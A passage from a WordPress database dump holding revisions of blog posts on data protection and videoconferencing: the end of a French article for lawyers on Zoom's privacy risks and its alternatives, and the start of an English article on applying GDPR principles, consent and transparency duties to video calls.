à celui-ci, les correspondances échangées entre le client\net son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières\nde celles portant la mention « officielle », les notes d’entretien et, plus\ngénéralement, toutes les pièces du dossier sont couvertes par le secret professionnel\n»</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La <a href=\"https://www.cnil.fr/fr/salaries-en-teletravail-quelles-sont-les-bonnes-pratiques-suivre\">CNIL</a>\ncomme d’autres autorités de protection nationale ont produit des guides en ce\nsens. Ici le document produit par le <a href=\"https://www.dataprotection.ie/en/news-media/blogs/data-protection-tips-video-conferencing\">Irish\nData Protection Commissionner</a>. Une <a href=\"https://www.ssi.gouv.fr/guide/recommandations-sur-la-securisation-des-systemes-de-controle-dacces-physique-et-de-videoprotection/\">recommendation\nde la part de ANSSI</a> est également disponible. <a href=\"https://www.enisa.europa.eu/tips-for-cybersecurity-when-working-from-home\">ENISA</a>\n‘<em>cybersecurity when working from home’</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’utilisation de l’application Zoom n’a pas manqué d’ores et déjà de voir\nle jour à des procès en responsabilité&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.secureworldexpo.com/industry-news/zoom-sued-over-privacy-announces-cybersecurity-upgrades\">Zoom Sued Over Privacy, Announces Cybersecurity Upgrades</a></em></li><li><em>The Facebook API kerfuffle resulted in a&nbsp;<a rel=\"noreferrer noopener\" href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\" target=\"_blank\">lawsuit</a>&nbsp;[PDF], filed on Monday in California. The plaintiff in this case, Robert Cullen of Sacramento, California, <a href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\">The Register.</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Brittany Roush, Director at the Crypsis Group, said</a> : \"that having that kind of flexibility to ensure that critical services can carry on, especially in a crisis, does not take the teeth from the CCPA and GDPR. If anything, it demonstrates that the regulatory bodies are carrying out their essential function -- which is to ensure that companies protect consumer data... In many ways, the CCPA and GDPR should take a page from HIPAA, which lowered security standards for telehealth in order to manage the critical healthcare demands of the pandemic... we do not have the luxury of time on our side to devise perfect solutions.</em></li><li><a href=\"https://www.securityweek.com/zoom-credentials-database-available-dark-web?\">Zoom Credentials Database Available on Dark Web</a></li><li><a href=\"http:// https://www.techradar.com/uk/news/zoom-banned-for-official-use-in-taiwan\">Germany bans Zoom for official use</a></li><li><a href=\"https://medium.com/a-change-is-coming/what-zoom-can-learn-from-microsoft-aec876b79968\">Lessons from the Past: What Zoom can learn from Microsoft</a></li><li><a href=\"https://uk.reuters.com/article/uk-spacex-zoom-video-commn/elon-musks-spacex-bans-zoom-over-privacy-concerns-memo-idUKKBN21J71J\">Elon Musk\'s SpaceX bans Zoom over privacy concerns - memo</a></li><li><a href=\"https://www.nextinpact.com/news/108877-la-direction-interministerielle-numerique-deconseille-fortement-application-zoom.htm\">La Direction interministérielle du numérique « déconseille fortement » l\'application Zoom</a></li><li><a href=\"https://www.macg.co/logiciels/2020/04/de-plus-en-plus-deconseille-zoom-fait-appel-lancien-chef-de-la-securite-de-facebook-113193\">De plus en plus déconseillé, Zoom fait appel à l\'ancien chef de la sécurité de Facebook&nbsp;</a></li><li><a href=\"https://www.forbes.com/sites/moorinsights/2020/04/03/why-most-should-avoid-the-out-of-control-zoom-right-now/\">Why Most Should Avoid An ‘Out Of Control’ Zoom Right Now</a></li><li><a href=\"https://www.techrepublic.com/article/dark-web-cybercriminals-sell-half-a-million-zoom-accounts/\">Dark web: Cybercriminals sell over 500,000 Zoom accounts</a></li><li><a href=\"https://www.securityweek.com/zoom-credentials-database-available-dark-web?\">Zoom Credentials Database Available on Dark Web</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>Ainsi en conclusion, il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Quels sont les solutions alternatives ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Zoom alternatives :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://jitsi.org/jitsi-meet/\">Jitsi</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.tixeo.com/\">Tixeo</a> recommende par l’ANSSI</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bigbluebutton.org/\">BigBlueButton</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.visio-avocats.com/\">Visio-avocats</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pages.bluejeans.com/video-conferencing-trial.html?utm_source=google&amp;utm_medium=cpc&amp;personsource=paid_search&amp;utm_content=TrialLP&amp;utm_term=%2Bbluejeans%20%2Bconference&amp;utm_campaign=EMEA%20-%20Branded%20General&amp;utm_adgroup=EMEA%20-%20Branded%20General%20-%20BlueJeans%20Business\">BlueJeans</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.skype.com/en/\">Skype</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.gotomeeting.com/en-gb/lp/easy-online-meetings?cid=g2m_emea_ggs_cpc_brand_gotomeeting_e\">GotoMeeting</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://products.office.com/en-gb/microsoft-teams/group-chat-software\">Teams</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cisco.com/c/en_uk/solutions/collaboration/working-from-home.html?dtid=pseggl000183&amp;oid=trlco020841&amp;ccid=cc000703&amp;gclsrc=ds&amp;gclsrc=ds\">Webex</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":651,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/Screenshot-2020-04-07-at-22.39.46.png\" alt=\"\" class=\"wp-image-651\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bit.ly/2yoXVIG\">Ta</a><a href=\"https://noyb.eu/sites/default/files/2020-04/noyb_-_report_on_privacy_policies_of_video_conferencing_tools_2020-04-02_0.pdf\">bleau Comparatif NOYB</a><a href=\"https://bit.ly/2yoXVIG\">&nbsp;&nbsp;-&nbsp;&nbsp;Pour&nbsp;la&nbsp;version&nbsp;avec&nbsp;liens&nbsp;actifs,&nbsp;&nbsp;</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autre <a href=\"https://bit.ly/2wLRJKs\">tableau comparatif produit par l\'Autorité de protection des données</a> <a href=\"https://autoriteitpersoonsgegevens.nl/sites/default/files/atoms/files/keuzehulp_privacy_videobellen.pdf\">Hollandaise</a> traduit par<a href=\"https://twitter.com/PiracyByDesign\"> Christopher SCHMIDT Data Privacy Specialist • Magister of Law&nbsp;CIPP⁄E CIPM CIPT CBSA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":671} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/TAB1-725x1024.png\" alt=\"\" class=\"wp-image-671\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>CONTINUEZ A MAINTENIR L\'ALERTE EN SUIVANT LE COMPTE <a href=\"http://www.pearltrees.com/privacyday/zoom-video-conferencing/id31172465\">PEARLTREES</a> SUR LEQUEL SONT REGROUPÉS LES DERNIERES NEWS ET ARTICLE SUR CE SUJET.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Si vous teniez malgré tout à continuer à utiliser cette application, voici des conseils sur comment utiliser Zoom avec plus de sécurité :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<em><a href=\"/www.holgernilspohl.com/blog/how-to-keep-you-virtual-zoom-meetings-safe\">How\nto keep your Virtual (Zoom) Meetings safe</a></em><em>:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Data Protection Tips for Video-conferencing. By the </em><em><a href=\"https://www.linkedin.com/company/data-protection-commissioner-of-ireland/\"><strong>Data Protection Commission\nIreland</strong></a>. In light of the recent\nincrease in remote working, necessitated by COVID-19 mitigation measures, as\nwell as the increased numbers keeping in touch online with friends and family,\nthe number of people video-conferencing and video-calling has increased\ndramatically. This has also resulted in people using apps and services which\nthey might not have used before, or are now using for different reasons – i.e. using\nan app they usually use for personal purposes now for work purposes or vice\nversa. Concerns have been raised about how to use these technologies to keep in\ntouch with colleagues and loved ones in a way that is safe and secure, and\nensures an adequate standard of data protection. Here are some tips to help\nboth individuals and organisations (such as employers who might introduce new\nor increased videoconferencing arrangements for employees) use these services\nin a safe manner: <a href=\"https://lnkd.in/e8mpd8n\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/e8mpd8n</strong></a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->','Zoom Visio-conférence Pour Les Juristes','Il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.','inherit','closed','closed','','601-revision-v1','','','2020-04-17 19:12:24','2020-04-17 18:12:24','',601,'https://datarainbow.eu/2020/04/17/601-revision-v1/',0,'revision','',0),(688,5,'2020-04-19 12:04:04','2020-04-19 11:04:04','<!-- wp:paragraph -->\n<p>19TH APRIL 2020&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/author/tara/&amp;usg=ALkJrhj3t2QRwu1wyrsKu0Uv6SyUDGFCmQ\">TARA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>A Look At The Many Considerations to Keep in Mind Before Using A Video Conferencing Technology</strong>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A deep look at the main legal consequences linked to the use of the free video conferencing application Zoom, which has become very popular, with an increase of 20 to 200 million users in a space of a few days, propelled by the needs of confinement and remote working imposed by the Covid-19 pandemic.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, schematically, four categories of data are concerned with more or less self data sharing:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>the organisers\' data,&nbsp;</li><li>the Guest data,</li><li>Data from third parties mentioned during the videoconference,</li><li>Data concerning minors.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Among these, two categories of data:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>Personal data</strong> with a relatively broad definition of&nbsp;<span><b><a href=\"https://gdpr-info.eu/art-4-gdpr/\">Article&nbsp;4</a></b></span></li><li>The so-called <strong>special category data</strong> or sensitive data, which in principle should not be processed unless exception.&nbsp;The processing of this data is strictly framed as subject to specific protection as defined in&nbsp;<a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Biometric data and other special data processed during the use of video conferences.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The data processed by a video recording can be considered as \'biometric\' data when the images can be used to identify individuals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>According to a ruling by the European Court of Justice, C-101/01 (November 6, 2003):</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>Personal data</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>\"The operation of referring, on a web page, to various people and identifying them either by name or by other means, for example their telephone number or information relating to their working conditions and their hobbies, constitutes \"processing of personal data, fully or partially automated\" within the meaning of Article 3 (1) of Directive 95/46 / EC of the European Parliament and of the Council, 24 October 1995, relating to the protection of individuals with regard to the processing of personal data and to the free movement of such data. ”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>Personal data of special or sensitive categories.</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>\'The indication that a person has injured his foot and is on partial sick leave constitutes personal data relating to health within the meaning of Article 8 (1) of Directive 95/46 .&nbsp;\"</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This judgment was given in application of the Directive, prior to the entry into force of the GDPR but remains applicable.&nbsp;Previously, in particular, health data, listed as \'<em>sensitive</em>\' data, are now data of special category&nbsp;<strong>a</strong><a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This point was recalled by a recent decision of the French Administrative Court The&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf&amp;usg=ALkJrhigHmOTMs6dOFfLLlZeGBDFzu9hJw\">Conseil d\'Etat dated February 27, 2020</a>&nbsp;concerning facial recognition in schools.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the CE:&nbsp;<em>(51)&nbsp;</em><em>Personal data which, by its nature, are particularly sensitive from the point of view of fundamental freedoms and rights deserve specific protection, since the context in which they are processed could pose significant risks for these freedoms and rights. This personal data should include personal data which reveals racial or ethnic origin, it being understood that the use of the expression \"racial origin\" in this Regulation does not imply that the Union adheres to theories tending to establish the existence of distinct human races. The processing of photographs should not systematically be regarded as constituting the processing of particular categories of personal data, since these<strong>fall under the definition of biometric data only when they are processed using a specific technical method allowing the unique identification or authentication of a natural person</strong>. Such personal data should not be processed, unless this is authorized in specific cases provided for in this Regulation, taking into account that the law of a Member State may lay down specific data protection provisions aimed at adapting the application of the rules of this Regulation with a view to complying with a legal obligation or for the performance of a task of public interest or relating to the exercise of the public authority vested in the controller. In addition to the specific requirements applicable to this processing, the general principles and other rules of this Regulation should apply, in particular as regards the conditions for the lawfulness of the processing.Derogations from the general prohibition to process these particular categories of personal data should be explicitly provided for, inter alia when the data subject gives his<strong>express consent or to meet specific needs, in particular when the processing is carried out within the framework of the legitimate activities of certain associations or foundations whose purpose is to allow the exercise of fundamental freedoms.</strong></em><strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In UK :&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://uk.practicallaw.thomsonreuters.com/D-014-7572%3FtransitionType%3DDefault%26contextData%3D(sc.Default)%26firstPage%3Dtrue%26bhcp%3D1&amp;usg=ALkJrhj8itOdEFULQ2VI9TdlwRulT5fUjA\">Murray v Big Picture</a>&nbsp;§80</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is therefore possible to consider that the images processed during a videoconference fall within the definition of biometric data.&nbsp;The possibility of possible facial recognition training is not included.&nbsp;In addition, users who do not reveal their identity using nicknames can be identified by the disclosure of their associated image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consequently, the images or videos identifying the participants according to their racial, ethnic, religious, philosophical, or union membership are to be considered as falling under the category of special data.&nbsp;Similarly, those relating to the state of health or data of minor children fall into the category of special data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cf. the the&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf&amp;usg=ALkJrhijXqC2SeKie9frzXI-yDXE14BM1w\">CNIL</a>\'s recommendation&nbsp;in matters of facial recognition and&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf&amp;usg=ALkJrhigHmOTMs6dOFfLLlZeGBDFzu9hJw\">the recent judgment of the Conseil d\'Etat of February 27, 2020</a>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The principles of legality Article&nbsp;5</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The data to be collected must be processed lawfully and fairly according to the&nbsp;<a href=\"https://gdpr-info.eu/art-5-gdpr/\">Article 5</a><strong>.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1.&nbsp;<strong>Personal data must be:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a)&nbsp;<em>processed lawfully, fairly and in a transparent manner in relation to the data subject (</em><strong><em>‘lawfulness, fairness and transparency’</em></strong><em>);(</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A privacy notice must be produced defining the legal basis for processing and offering the transparency obligations defined in article 13, as explained infra.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b) </em>collected for specified, explicit and legitimate purposes and not further processed in a manner that is incompatible with those purposes; further processing for archiving purposes in the public interest, scientific or historical research purposes or statistical purposes shall, in accordance with&nbsp;<a href=\"https://gdpr-info.eu/art-89-gdpr/\">Article 89</a>(1), not be considered to be incompatible with the initial purposes (<strong>‘purpose limitation’</strong>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any recording of the video conference and its subsequent uses must be notified to the participants and their legal bases justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c) </em>adequate, relevant and limited to what is necessary in relation to the purposes for which they are processed (<strong>‘data minimisation’</strong>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The data collected must be reduced to the strict minimum.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) accurate and, if necessary, kept up to date;&nbsp;all reasonable measures must be taken to ensure that personal data which are inaccurate, with regard to the purposes for which they are processed, are deleted or rectified without delay (<strong>accuracy</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Saved data will be subject to the obligation of accuracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e)&nbsp;<em>kept in a form which permits identification of data subjects for no longer than is necessary for the purposes for which the personal data are processed; personal data may be stored for longer periods insofar as the personal data will be processed solely for archiving purposes in the public interest, scientific or historical research purposes or statistical purposes in accordance with&nbsp;</em><a href=\"https://gdpr-info.eu/art-89-gdpr/\"><em>Article 89(</em></a><em>1) subject to implementation of the appropriate technical and organisational measures required by this Regulation in order to safeguard the rights and freedoms of the data subject </em>(<strong>‘storage limitation’</strong>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The shelf life must be defined and communicated to the parties.&nbsp;The registrations, if they exist, cannot exceed the fixed deadline.&nbsp;Archives must develop limited and secure access when they are no longer justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) processed in a manner that ensures appropriate security of the personal data, including protection against unauthorised or unlawful processing and against accidental loss, destruction or damage, using appropriate technical or organisational measures (</em><strong><em>‘integrity and confidentiality’</em></strong><em>)</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The security of video conferences and their subsequent recordings or access is the liability of the organisers, who must ensure that the service provider fulfil their mission in accordance with the obligations of the GDPR.&nbsp;This includes transmission by encryption excluding transfers to third countries that do not represent adequate protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2.&nbsp;<strong>The controller is responsible for the compliance with paragraph 1 and is able to demonstrate that it is respected (responsibility).</strong></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This point is very important because as explained below, the responsibility of the videoconference organiser can be engaged for non-compliance with the regulations or allowing unauthorised access to personal data, capable of causing harm, \'distress\' or loss of control.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Determining the purpose of the processing</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any data processing must meet a legitimate purpose as listed in <a href=\"https://gdpr-info.eu/art-6-gdpr/\">Article 6</a>&nbsp;In the context of videoconferencing, processing may be either considered to be of legitimate interest - with the need to carry out the three part necessity and proportionality test - or a request for prior consent will apply.&nbsp;The processing  must be recorded by the controller if necessary in his / her&nbsp;<span><b><a href=\"https://gdpr-info.eu/art-30-gdpr/\">Article&nbsp;30</a></b></span> record of processing and specified in the privacy notice.&nbsp;It should be remembered that in the case of consent, it can be withdrawn at any time with the risk of invalidating the lawfulness of any recording subject to erasure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>On consent</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<strong>paragraph 11)&nbsp;<a href=\"https://gdpr-info.eu/art-4-gdpr/\">Art.&nbsp;4</a> </strong>&nbsp;defines consent as&nbsp;\'any <strong>freely given</strong>, <strong>specific</strong>, <strong>informed</strong> and <strong>unambiguous</strong> indication of the data subject\'s wishes by which he or she, by a statement or by a clear <strong>affirmative action</strong>, signifies agreement to the processing of personal data relating to him or her&nbsp;\'.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In addition,&nbsp;<a href=\"https://gdpr-info.eu/art-7-gdpr/\">Article 7</a> , relating to the conditions applicable to <a href=\"https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/lawful-basis-for-processing/consent/\">consent</a>, provides:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“&nbsp;<em>1. In cases where the processing is based on consent, the controller is able to demonstrate that the data subject has given his consent to the processing of personal data concerning him. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td><strong>1.</strong>&nbsp;<em>Where processing is based on consent, the controller shall be able to&nbsp;</em><strong><em>demonstrate</em></strong><em>&nbsp;that the data subject has consented to processing of his or her personal data</em>.&nbsp;<br></td></tr><tr><td><strong>2.</strong>&nbsp;<em>If the data subject\'s consent is given in the context of a written declaration which also concerns other matters, the request for consent shall be presented in a manner which is clearly distinguishable from the other matters, in an intelligible and easily accessible form, using clear and plain language. Any part of such a declaration which constitutes an infringement of this Regulation shall not be binding</em>.</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>An explicit and  informed consent is required from participants in the video conference when the data is collected from the recording or any subsequent total or partial broadcasts, including screenshots of the meetings.&nbsp;Remembering that, as biometric data capable of identifying individuals, are data of special category&nbsp;<strong>art.&nbsp;9-2 a)</strong>&nbsp;- this concerns participants\' data and any other personal data processed during the video conference&nbsp;<strong>&nbsp;</strong><a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a><strong> -</strong>&nbsp;consents must be record of processing activities in accordance with&nbsp;<a href=\"https://gdpr-info.eu/art-30-gdpr/\">Article 30</a>.&nbsp;The purpose of processing the data of persons not present must be clearly justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;<a href=\"https://gdpr-info.eu/art-42-gdpr/\">Article 42</a>GDPR states : \'<em>Where processing is based on the data subject’s consent, the controller should be able to demonstrate that the data subject has given consent to the processing operation.&nbsp;In particular in the context of a written declaration on another matter, safeguards should ensure that the data subject is aware of the fact that and the extent to which consent is given.&nbsp;In accordance with Council Directive 93/13/EEC a declaration of consent pre-formulated by the controller should be provided in an intelligible and easily accessible form, using clear and plain language and it should not contain unfair terms.&nbsp;</em><sup><em>4</em></sup><em>For consent to be informed, the data subject should be aware at least of the identity of the controller and the purposes of the processing for which the personal data are intended.&nbsp;</em><sup><em>5</em></sup><em>Consent should not be regarded as freely given if the data subject has no genuine or free choice or is unable to refuse or withdraw consent without detriment.</em>\'</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some participants may have wished to use nicknames for personal reason and may not wish to be exposed to the general public.&nbsp;An alternative must be offered to them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation of transparency - </strong><a href=\"https://gdpr-info.eu/art-13-gdpr/\">Articles 13</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As mentioned above, the organiser of the videoconference or the \'host\' must communicate the means and legal basis for data processing in all transparency, before collecting any data :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, it seems that many video conferencing applications are sorely lacking transparency.&nbsp;The host has multiple technical capacities and prerogatives which are too often unknown to other participants such as recording and their subsequent broadcasts.&nbsp;The&nbsp;<a href=\"https://gdpr-info.eu/art-13-gdpr/\">Article 13</a>&nbsp;requires the following information to data subjects :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>the identity and contact details of the controller and, where applicable, the representative of the controller;</em></li><li><em>the contact details of the data protection officer, where applicable;</em></li><li><em>the purposes of the processing for which the personal data is intended as well as the legal basis for the processing;</em></li><li>where the processing is based on point (f) of&nbsp;<a href=\"https://gdpr-info.eu/art-6-gdpr/\"><strong>art 6</strong></a><strong>(1)</strong>, the legitimate interests pursued by the controller or by a third party;<br></li><li>the recipients or categories of recipients of the personal data, if any;</li><li>where applicable, the fact that the controller intends to transfer personal data to a third country or international organisation and the existence or absence of an adequacy decision by the Commission, or in the case of transfers referred to in&nbsp;<a href=\"https://gdpr-info.eu/art-46-gdpr/\">Articles 46</a>&nbsp;or&nbsp;<a href=\"https://gdpr-info.eu/art-47-gdpr/\">47</a>, or the second subparagraph of&nbsp;<a href=\"https://gdpr-info.eu/art-49-gdpr/\">Article 49(</a>1), reference to the appropriate or suitable safeguards and the means by which to obtain a copy of them or where they have been made available.<br><br></li><li>The rights of participants under&nbsp;<a href=\"https://gdpr-info.eu/art-14-gdpr/\">Article 14</a>&nbsp;,&nbsp;<a href=\"https://gdpr-info.eu/art-15-gdpr/\">Article 15</a>&nbsp;&nbsp;and in particular their right to rectify or withdraw consent, their right to complain to the administrative authority must be reminded.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>In addition to the information referred to in paragraph 1, the controller shall provide participants with the following additional information when obtaining personal data, to ensure fair and transparent processing:</p>\n<!-- /wp:paragraph 